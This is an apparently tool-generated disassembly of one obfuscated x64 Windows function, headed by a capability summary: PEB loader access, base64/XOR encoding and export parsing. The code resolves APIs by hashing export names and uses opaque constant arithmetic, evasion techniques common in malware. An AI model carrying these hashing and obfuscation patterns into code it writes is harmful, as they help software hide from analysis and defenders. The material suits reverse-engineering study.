Function at 0x14007eca8
Capabilities:
Access peb ldr_data
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c8]
sub rsp, 0x2c8
and dword [rsp + 0x20], 0
movabs rdi, 0xa421b032bec2340c
movabs rbx, 0x52598ceb8b7f9ed
xor esi, esi
movabs rax, 0xf1c48128110699b2
movabs r11, 0xb0b80ab186317d51
mov r14, qword [0x14035f070]
imul r14, rax
not r14
movabs rcx, 0x4f47f54e462830cd
mov r12, qword [0x14035f060]
mov rax, r12
xor rax, rcx
and r14, rax
ror r14, 0xe
shr r14, 8
mov r13, qword [0x14035f080]
movabs rax, 0xe67bb7efa260e1a8
mov r9, r13
imul r9, rax
add r9, rbx
movabs rax, 0xe1d6d9f37fffffff
xor r9, rax
shr r9, 0x1f
not r9
movabs r8, 0xfada673147480613
lea rcx, [r9 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rdx, [0x14035f060]
movzx eax, r9b
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 3
and ecx, 0x8000003f
jge 0x14007eda2
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r9
ror rax, cl
not rax
movabs rcx, 0xb527a50ba5c2ba5c
mov r15, rax
imul r15, rcx
add r8, r15
mov r10, r9
imul r10, r14
sub r10, r8
xor r10, rdi
mov cl, r8b
xor cl, 0xfc
and cl, 0xf
rol r10, cl
movabs rcx, 0x5c582a30344e032c
imul rax, rcx
movabs rcx, 0x39555b180b2b1a97
add rax, rcx
xor r10, rax
mov rax, r8
mov rdx, qword [0x14035f078]
sub rax, rdx
xor r10, rax
xor r10, r11
mov rax, r10
movabs rcx, 0xd79435e50d79435f
and eax, 1
je 0x14007f0de
sub rax, 1
movabs r12, 0xaaaaaaaaaaaaaaab
je 0x14007eff8
sub rax, 1
je 0x14007ef2d
cmp rax, 1
jne 0x14007f15b
mov rdi, r8
imul rdi, r9
movabs rax, 0xa7333a9a343d06c9
add rax, r10
xor rdi, rax
ror rdi, 0x34
shr rdi, 0xc
not rdi
movabs rcx, 0x835738e5a418
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0xfa58e24934b68281
xor rdx, rax
movzx eax, dil
movzx ecx, r10b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9600548eb
sub rax, r9
mov r9, rdx
xor r9, rax
mov rcx, r9
imul rcx, rbx
mov eax, 0xb1de9a01
add rcx, rax
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14035f060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xec3d59dc8957bb12
sub rbx, rdi
shr rbx, cl
movabs rcx, 0xfae28bb98aa2f0e1
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, r14
xor rbx, rax
jmp 0x14007f15b
movabs rcx, 0xaaaaaa1ab1c7673f
mov r9, r10
xor r9, rcx
movabs rcx, 0x1206ed73cabb73
imul r9, rcx
movabs rcx, 0xffff7e8a97d755e3
imul r15, rcx
movabs rcx, 0x39cedf1e2519dbaa
add r9, rcx
add r9, r15
movabs rax, 0x277cd7be6317b05f
mov rcx, r9
xor rcx, rax
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r9
not r8
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffffe492b1ef
lea ecx, [r10 - 3]
and cl, 0x3f
rol r8, cl
movabs rax, 0x2822394600000000
imul r8, rax
mov rcx, r8
ror rcx, 0x2e
not rcx
movabs rax, 0x9b2de6b2b3ecc9e0
imul rcx, rax
mov rax, r9
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x14007f15b
movabs rax, 0xf3ec7c8868e363c1
imul r10, rax
mov rax, rcx
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0x5bde4fcd413dcbf3
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
and cl, 0x3f
rol r11, cl
movabs rcx, 0xfada673147480613
add rcx, r10
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x18ceb8b7f9ed
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7ed031112
or r11, rax
mov rbx, qword [0x14035f070]
imul rbx, rdi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6bc0b111f
xor rbx, rax
mov rax, r10
imul rax, r8
imul rax, rbx
mov rsi, r9
sub rsi, rax
movabs rax, 0x789589473595d05
add rsi, rax
xor rsi, r14
movzx eax, r9b
imul ecx, eax, 0xfa
and cl, 0x3f
rol rsi, cl
not rsi
jmp 0x14007f15b
mov rcx, r10
imul rcx, r13
and rcx, rdx
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x11
imul r11, r8
mov rsi, r14
not rsi
imul rsi, r9
movabs rax, 0x7cd8a7de61fa40fe
imul rsi, rax
imul r14, r12, 0xffffffffc0194d9c
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, sil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14007f13e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xfada673147480613
add r14, rax
add r14, r15
movabs r12, 0xaaaaaaaaaaaaaaab
movabs rax, 0xff055d7b91b14a33
xor rdi, rax
mov rax, r12
mul rdi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rdi, rax
xor r11, rsi
lea rax, [0x14035f060]
imul r11, qword [rax + rdi*8]
not r8
imul r8, r10
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e87960200ef
xor rcx, r9
not rcx
xor rcx, r8
sub rcx, r11
call fcn.14006e084
mov qword [0x14036d9d8], rax
xor r13d, r13d
mov ebx, r13d
mov edi, 0xce9b6976
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x14007f238
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xd4881ece
jmp 0x14007f22a
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, 0x31
xor r8d, 0x4764996c
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x14007f204
cmp r10d, ebx
jne 0x14007f341
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r11d, ecx
add r11, r10
shr rcx, 0x20
cmp r11, r10
je 0x14007f341
mov esi, dword [r11 + 0x18]
test esi, esi
je 0x14007f341
mov r12d, dword [r11 + 0x20]
dec esi
lea rdx, [r10 + rsi*4]
mov r9d, dword [rdx + r12]
add r9, r10
mov r14d, 0xd4881ece
jmp 0x14007f29e
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, 0x31
xor edx, 0x4764996c
xor r8d, r14d
mov r14d, edx
imul r14d, r8d
mov dl, byte [r9]
inc r9
test dl, dl
jne 0x14007f280
cmp r14d, edi
je 0x14007f2b6
test esi, esi
jne 0x14007f26b
jmp 0x14007f341
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov eax, dword [r11 + 0x24]
add rax, r10
movzx eax, word [rax + rsi*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
cmp r9, r11
jbe 0x14007f349
lea rax, [rcx + r11]
cmp r9, rax
jae 0x14007f349
mov ebx, 0xd4881ece
mov edi, ebx
jmp 0x14007f303
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, ebx
xor eax, ecx
mov ebx, edx
imul ebx, eax
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14007f2e6
jmp 0x14007f326
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r9
mov al, byte [r9]
test al, al
jne 0x14007f30c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
jmp 0x14007f1d8
mov dword [rbp + 0x220], r13d
mov dword [rbp + 0x220], 0xdd704f2b
mov eax, dword [rbp + 0x220]
add eax, 0x108b5eb0
xor eax, 0xf404a28f
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
sub eax, 0x4a97311a
xor eax, 0x7ccd0d86
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xce8b61e5
add eax, ecx
xor eax, 0x9218209
add eax, 0x15c64b0b
xor eax, 0xd11fc17f
lea edx, [rcx - 0x6c533ab7]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xc4422bce
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x3bbdd431
add ecx, 0xee046d54
add ecx, edx
xor ecx, 0x2e06fa6e
mov dword [rbp + 0x220], ecx
movsxd rcx, ecx
mov dword [rbp + 0x218], r13d
mov dword [rbp + 0x218], 0x415360f
mov eax, dword [rbp + 0x218]
add eax, 0x370e4c27
xor eax, 0xe17bc912
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
add eax, 0x4ff5461d
xor eax, 0x79b01459
sub eax, dword [0x14035f048]
mov rdx, qword [0x14035f040]
add eax, 0x91c4a88e
add eax, edx
xor eax, 0x21342b2d
sub eax, 0x22f98d7d
xor eax, 0xd22516ab
lea r8d, [rdx - 0x50c893b0]
add r8d, eax
not r8d
mov eax, dword [0x14035f038]
xor eax, 0xa0dc3784
sub r8d, eax
mov ebx, dword [0x14035f030]
xor ebx, 0x5f23c87b
add ebx, 0x24ea6766
add ebx, r8d
xor ebx, 0xe839cc6c
mov dword [rbp + 0x218], ebx
call r9
mov rcx, rax
movsxd rax, ebx
imul rcx, rax
mov qword [rbp + 8], rcx
mov dword [rbp + 0x218], r13d
mov dword [rbp + 0x220], r13d
mov qword [rbp - 0x68], r13
movabs rax, 0x237a979478ecce81
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x70], r13
movabs rax, 0x4c5d78f040f74d7f
mov qword [rbp - 0x70], rax
movabs rcx, 0xf33a52b4aa9f8c83
add rcx, qword [rbp - 0x70]
movabs rax, 0xb1d5366253083ca4
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb80aa9a925c
add rcx, rax
movabs rax, 0xf8f8cd99d4508efb
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x7d654bb6ae4fdb1
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a9ed627dc3
xor rcx, rax
movabs rax, 0x5f627dc761e37236
sub rcx, rax
movabs rax, 0x7a3b3cd30bf8d9f3
xor rcx, rax
movabs rdx, 0xb483ce4612cf24b8
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ad2aa7c86
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52d558379
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d8844bfb5db
add rax, rdx
add rax, rcx
movabs rcx, 0xc40b0767b6cb6d56
xor rax, rcx
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x70], rax
movabs rcx, 0xf33a52b4afc3a103
add rcx, qword [rbp - 0x68]
movabs rax, 0xc6553662530841c8
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f5574d9e2
sub rcx, rax
movabs rax, 0xf8f8cd99cf17ea29
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654bb63ea83de
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a9e7855661
xor rcx, rax
movabs rax, 0x5f627dc7592e6334
sub rcx, rax
movabs rax, 0xd63b3cd30966a693
xor rcx, rax
movabs rax, 0x3483ce460dcf0cc7
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad2bf0cd8
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b52d40f327
xor r11, rax
movabs r13, 0xe0b56d88596497ad
add r13, rcx
add r13, r11
movabs rax, 0x1aa07a2ea24bfce8
xor r13, rax
mov qword [rbp - 0x68], r13
xor esi, esi
mov qword [rbp - 0x78], rsi
movabs rax, 0xf86fa7d1904ea863
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x80], rsi
movabs rax, 0x72398093fa4a983e
mov qword [rbp - 0x80], rax
movabs rcx, 0xf33a52b74dbc8d03
add rcx, qword [rbp - 0x80]
movabs rax, 0xb2553662530adfc1
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f5d4ec4a6
sub rcx, rax
movabs rax, 0xf8f8cd9726a71a79
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654b7d67b1f84
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a6eb556931
xor rcx, rax
movabs rax, 0x5f627dc67529b5e4
sub rcx, rax
movabs rax, 0x763b3cd1ba5540cb
xor rcx, rax
movabs rdx, 0x3483ce438227ef3b
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94add36f088
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b522c90f77
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d92bbbfe3dd
add rax, rdx
add rax, rcx
movabs rcx, 0xbeb090fff769c738
xor rax, rcx
mov qword [rbp + 0x210], rax
mov qword [rbp - 0x80], rax
movabs rcx, 0xf33a52b94b6bd083
add rcx, qword [rbp - 0x78]
movabs rax, 0xf5d53662530cdd70
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb809cb82d90
add rcx, rax
movabs rax, 0xf8f8cd95210119eb
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x7d654b5229fb763
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a4a5f98033
xor rcx, rax
movabs rax, 0x5f627dc420d73246
sub rcx, rax
movabs rax, 0x5a3b3cd0bb6db191
xor rcx, rax
movabs rax, 0xb483ce4192687694
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ae52dad96
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b51ad25269
xor r11, rax
movabs r12, 0xe0b56d9aba71aeeb
add r12, rcx
add r12, r11
movabs rax, 0x8f94ef4842623e86
xor r12, rax
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x78], rsi
movabs rax, 0x271a3a36c9373a5e
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x70], rsi
movabs rax, 0x89d3fa413394e3e5
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x20], 3
mov qword [rsp + 0x68], rsi
movabs rax, 0x7717c608fab80a69
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x20], 7
mov qword [rsp + 0x60], rsi
movabs rax, 0x1435c0717729fa3f
mov qword [rsp + 0x60], rax
lea r15d, [rsi + 0xf]
mov dword [rsp + 0x20], r15d
movabs rcx, 0xf33a52b747802603
add rcx, qword [rsp + 0x60]
movabs rax, 0x4b553662530ad984
xor rcx, rax
mov rdi, qword [0x14035f050]
sub rcx, rdi
mov r10, qword [0x14035f058]
sub rcx, r10
movabs rax, 0xedf047f5d3c0f71
sub rcx, rax
movabs rax, 0xf8f8cd972cfc7315
xor rcx, rax
mov r9, qword [0x14035f048]
sub rcx, r9
movabs rax, 0xc7d654b7def21d54
add rcx, rax
mov r14, qword [0x14035f040]
add rcx, r14
movabs rax, 0x5a9179a6f2724ead
xor rcx, rax
movabs rax, 0x5f627dc67961ce00
sub rcx, rax
movabs rax, 0xae3b3cd1bd73a62f
xor rcx, rax
movabs rdx, 0x3483ce438838af6a
add rdx, rcx
add rdx, r14
not rdx
movabs rcx, 0x13cce94add1dfeec
mov r11, qword [0x14035f038]
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b522e20113
mov rbx, qword [0x14035f030]
mov rcx, rbx
xor rcx, rax
movabs rsi, 0xe0b56d92a2f395c1
add rsi, rdx
add rsi, rcx
movabs rax, 0x6db5509deb90d784
xor rsi, rax
mov qword [rsp + 0x60], rsi
movabs rcx, 0xf33a52b6b5798c83
add rcx, qword [rsp + 0x68]
movabs rax, 0xb1d53662530a477e
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0x7120fb80a47a045c
add rcx, rax
movabs rax, 0xf8f8cd97c14b26fb
xor rcx, rax
sub rcx, r9
movabs rax, 0x7d654b8a52a12b1
add rcx, rax
add rcx, r14
movabs rax, 0x5a9179a79901d5c3
xor rcx, rax
movabs rax, 0x5f627dc6e19b8a36
sub rcx, rax
movabs rax, 0x7a3b3cd2067b8323
xor rcx, rax
movabs rdx, 0xb483ce4416411ab8
add rdx, rcx
add rdx, r14
not rdx
movabs rcx, 0x13cce94adad5e486
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b5252a1b79
mov rcx, rbx
xor rcx, rax
movabs r8, 0xe0b56d905890dddb
add r8, rdx
add r8, rcx
movabs rax, 0x39ee1152da2f2556
xor r8, rax
mov qword [rsp + 0x68], r8
movabs rcx, 0xf33a52b75ab4b783
add rcx, qword [rsp + 0x70]
movabs rax, 0xdcd53662530aecb9
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0x7120fb80a28a52db
add rcx, rax
movabs rax, 0xf8f8cd97197b0f4f
xor rcx, rax
sub rcx, r9
movabs rax, 0x87d654b7c4e041d3
add rcx, rax
add rcx, r14
movabs rax, 0x5a9179a6dc8a58b7
xor rcx, rax
movabs rax, 0x5f627dc675c7d7e2
sub rcx, rax
movabs rax, 0x223b3cd1b3d8c3ca
xor rcx, rax
movabs rdx, 0xb483ce43758a8de5
add rdx, rcx
add rdx, r14
not rdx
movabs rcx, 0x13cce94add6ad132
mov rax, r11
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b522952ecd
mov rcx, rbx
xor rcx, rax
movabs rax, 0xe0b56d92efd47687
add rdx, rax
add rdx, rcx
movabs rax, 0xe673880ae63a810a
xor rdx, rax
mov qword [rsp + 0x70], rdx
movabs rcx, 0xf33a52b69fec4c03
add rcx, qword [rsp + 0x78]
movabs rax, 0x71553662530a31f0
xor rcx, rax
sub rcx, rdi
sub rcx, r10
movabs rax, 0xedf047f5b4553e3
sub rcx, rax
movabs rax, 0xf8f8cd97d72e9c7d
xor rcx, rax
sub rcx, r9
movabs rax, 0xc7d654b8c26b4fbf
add rcx, rax
add rcx, r14
movabs rax, 0x5a9179a7b196f355
xor rcx, rax
movabs rax, 0x5f627dc6dd649598
sub rcx, rax
movabs rax, 0x7e3b3cd21142cfcd
xor rcx, rax
movabs rax, 0x3483ce442b377e74
add rcx, rax
add rcx, r14
not rcx
movabs rax, 0x13cce94ada7faf84
xor r11, rax
sub rcx, r11
movabs rax, 0xec3316b52580507b
xor rbx, rax
movabs rax, 0xe0b56d9001c59ed9
add rcx, rax
add rcx, rbx
movabs rax, 0x20059fc8b832946c
xor rcx, rax
mov qword [rsp + 0x78], rcx
and rcx, rdx
xor r14d, r14d
mov eax, r14d
cmp qword [0x14037da30], rcx
sete al
and r8, rsi
cmp rax, r8
jne 0x14007fe5e
mov qword [rsp + 0x58], r14
movabs rax, 0x44ea016eccebd7d4
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x20], 0x1f
mov qword [rsp + 0x50], r14
movabs rax, 0x789dead53b50788e
mov qword [rsp + 0x50], rax
lea r15d, [r14 + 0x3f]
mov dword [rsp + 0x20], r15d
movabs rcx, 0xf33a52b543b35f03
add rcx, qword [rsp + 0x50]
movabs rax, 0x845536625308d5b7
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f5730a91c
sub rcx, rax
movabs rax, 0xf8f8cd9938d86d31
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654ba9b1a9575
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179a93ec7e1a9
xor rcx, rax
movabs rax, 0x5f627dc6ee41d4bc
sub rcx, rax
movabs rax, 0xe63b3cd2bf6a2815
xor rcx, rax
movabs rdx, 0x3483ce457deadcf9
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ad50ecbd0
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52af1342f
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rax, 0xe0b56d8aabb34ea5
add rdx, rax
add rdx, rcx
movabs rax, 0x6bd302721dedab30
xor rdx, rax
mov qword [rsp + 0x50], rdx
movabs rcx, 0xf33a52b614d91183
add rcx, qword [rsp + 0x58]
movabs rax, 0x36d536625309a6dd
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb80a65be5cd
add rcx, rax
movabs rax, 0xf8f8cd98646e23e7
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654b97f33e9a8
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a85038e20f
xor rcx, rax
movabs rax, 0x5f627dc6c315278a
sub rcx, rax
movabs rax, 0x523b3cd256d0c5a7
xor rcx, rax
movabs rax, 0xb483ce44b27d325b
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ad853629a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b527ac9d65
xor r11, rax
movabs rax, 0xe0b56d8dd38e6fef
add rcx, rax
add rcx, r11
movabs rax, 0x5a44f02031d658c2
xor rcx, rax
mov qword [rsp + 0x58], rcx
and rcx, rdx
cmp qword [0x14037da30], rcx
lea eax, [r14 + 1]
jne 0x14007fe61
mov rax, r14
test r15b, 0x20
je 0x14007fe75
and r15d, 0xffffffdf
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x50], r14
test r15b, 0x10
je 0x14007fe89
and r15d, 0xffffffef
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x58], r14
test r15b, 8
je 0x14007fe9d
and r15d, 0xfffffff7
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x60], r14
test r15b, 4
je 0x14007feb1
and r15d, 0xfffffffb
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x68], r14
test r15b, 2
je 0x14007fec5
and r15d, 0xfffffffd
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x70], r14
test r15b, 1
je 0x14007fed9
and r15d, 0xfffffffe
mov dword [rsp + 0x20], r15d
mov qword [rsp + 0x78], r14
and r12, qword [rbp + 0x210]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], r14
cmp rax, r12
jne 0x14007ff91
mov dword [rbp + 0x228], r14d
mov dword [rbp + 0x228], 0xdef01281
mov eax, dword [rbp + 0x228]
add eax, 0x4409ebb5
xor eax, 0x8109d60e
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
sub eax, 0x5a31acc1
xor eax, 0x3480864d
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0x3f251978
add eax, ecx
xor eax, 0x1a65292f
add eax, 0x4df6f8b3
xor eax, 0xcf36df07
lea edx, [rcx - 0x7b6951e1]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd9102602
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x26efd9fd
add ecx, 0x910c941d
add ecx, edx
xor ecx, 0xfd0b41fa
mov dword [rbp + 0x228], ecx
movsxd rax, ecx
mov dword [rbp + 0x228], r14d
jmp 0x140080270
lea rcx, [0x14037da30]
call fcn.14009c710
mov edi, r14d
mov esi, 0x2145ab96
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x140080010
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xe8a0d9de
jmp 0x140080002
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, 0x31
xor ecx, 0x4764996c
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x14007ffe2
cmp r9d, edi
jne 0x140080097
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x140080097
mov r14d, dword [rbx + 0x18]
test r14d, r14d
je 0x140080094
mov r8d, dword [rbx + 0x20]
dec r14d
lea rdx, [r10 + r14*4]
mov r11d, dword [rdx + r8]
add r11, r10
mov r15d, 0xe8a0d9de
mov dl, byte [r11]
inc r11
test dl, dl
je 0x14008008a
movsx r8d, dl
mov r9d, r8d
imul r9d, r8d
add r9d, 0x31
xor r9d, 0x4764996c
mov edx, r15d
xor edx, r8d
mov r15d, r9d
imul r15d, edx
mov dl, byte [r11]
inc r11
test dl, dl
jne 0x140080059
mov r8d, dword [rbx + 0x20]
cmp r15d, esi
je 0x14008009f
test r14d, r14d
jne 0x14008003b
xor r14d, r14d
mov rax, qword [rax]
jmp 0x14007ffb6
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r14*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x140080134
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x140080134
mov edi, 0xe8a0d9de
mov esi, edi
jmp 0x1400800eb
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, edi
xor eax, ecx
mov edi, edx
imul edi, eax
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x1400800ce
inc r8
xor r14d, r14d
jmp 0x140080117
movsx ecx, al
mov edx, ecx
imul edx, ecx
add edx, 0x31
xor edx, 0x4764996c
mov eax, esi
xor eax, ecx
mov esi, edx
imul esi, eax
inc r8
mov al, byte [r8]
test al, al
jne 0x1400800fa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x140080097
mov rcx, qword [0x14037da30]
call r8
movsxd r8, eax
xor r14d, r14d
mov dword [rsp + 0x24], r14d
mov dword [rsp + 0x24], 0x60400ad9
mov eax, dword [rsp + 0x24]
add eax, 0x4d337935
xor eax, 0xe89df38
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
add eax, 0x25b2d696
xor eax, 0x2b325297
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xf2b531e5
add eax, ecx
xor eax, 0xff1c3c9
add eax, 0x46a83881
xor eax, 0x5ea1cefb
lea edx, [rcx - 0x452bc83]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd934cc38
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x26cb33c7
add ecx, 0xb599b853
add ecx, edx
xor ecx, 0x9d21e788
mov dword [rsp + 0x24], ecx
movsxd rax, ecx
mov qword [0x14037da30], rax
mov dword [rsp + 0x24], r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x28], 0x34a210ba
mov eax, dword [rsp + 0x28]
add eax, 0x4d86b4b5
xor eax, 0x4a09df8b
sub eax, dword [0x14035f058]
sub eax, dword [0x14035f050]
sub eax, 0x5a4e231c
xor eax, 0x2addca29
sub eax, dword [0x14035f048]
mov rcx, qword [0x14035f040]
add eax, 0xb24436a0
add eax, ecx
xor eax, 0xf92d3eb
add eax, 0x46caae47
xor eax, 0x82782ea1
lea edx, [rcx + 0x7b5c4e9e]
add edx, eax
not edx
mov eax, dword [0x14035f038]
xor eax, 0xd9361926
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x26c9e6d9
add ecx, 0xb6e5b341
add ecx, edx
xor ecx, 0x1c497536
mov dword [rsp + 0x28], ecx
movsxd rax, ecx
add rax, r8
mov dword [rsp + 0x28], r14d
and r13, qword [rsp + 0x48]
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
cmp rax, r13
jne 0x140080320
mov dword [rsp + 0x2c], r14d
mov dword [rsp + 0x2c], 0x56316662
mov eax, dword [rsp + 0x2c]
add eax, 0xa83a2633
xor eax, 0xbb883a3e
sub eax, dword [0x14035f058]
